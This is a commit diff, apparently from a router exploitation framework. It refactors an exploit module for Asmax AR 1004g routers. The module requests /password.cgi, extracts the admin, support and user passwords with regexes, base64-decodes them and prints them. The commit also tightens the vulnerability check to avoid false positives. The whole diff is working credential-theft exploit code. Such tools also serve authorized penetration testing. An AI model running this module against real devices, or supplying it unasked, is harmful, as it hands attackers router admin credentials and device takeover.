Commit af188ee4 by Marcin Bury

Fixing false positive for asmax ar 1004g devices.

parent 42342469
...@@ -38,26 +38,24 @@ class Exploit(exploits.Exploit): ...@@ -38,26 +38,24 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
def run(self): def run(self):
if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url)) print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url) response = http_request(method="GET", url=url)
if response is None: if response is None:
return return
creds = [] regexps = [("admin", "pwdAdmin = '(.+?)'"),
admin = re.findall("pwdAdmin = '(.+?)'", response.text) ("support", "pwdSupport = '(.+?)'"),
if len(admin): ("user", "pwdUser = '(.+?)'")]
creds.append(('Admin', b64decode(admin[0])))
support = re.findall("pwdSupport = '(.+?)'", response.text) creds = []
if len(support): for regexp in regexps:
creds.append(('Support', b64decode(support[0]))) res = re.findall(regexp[1], response.text)
user = re.findall("pwdUser = '(.+?)'", response.text) if len(res):
if len(user): creds.append((regexp[0], b64decode(res[0])))
creds.append(('User', b64decode(user[0])))
if len(creds): if len(creds):
print_success("Credentials found!") print_success("Credentials found!")
...@@ -66,6 +64,8 @@ class Exploit(exploits.Exploit): ...@@ -66,6 +64,8 @@ class Exploit(exploits.Exploit):
print("NOTE: Admin is commonly implemented as root") print("NOTE: Admin is commonly implemented as root")
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
else:
print_error("Device seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
...@@ -75,7 +75,19 @@ class Exploit(exploits.Exploit): ...@@ -75,7 +75,19 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])): regexps = ["pwdAdmin = '(.+?)'",
return True # target vulnerable "pwdSupport = '(.+?)'",
"pwdUser = '(.+?)'"]
for regexp in regexps:
res = re.findall(regexp, response.text)
if len(res):
try:
b64decode(res[0]) # checking if data is base64 encoded
except:
return False # target is not vulnerable
else:
return False # target is not vulnerable return False # target is not vulnerable
return True # target is vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment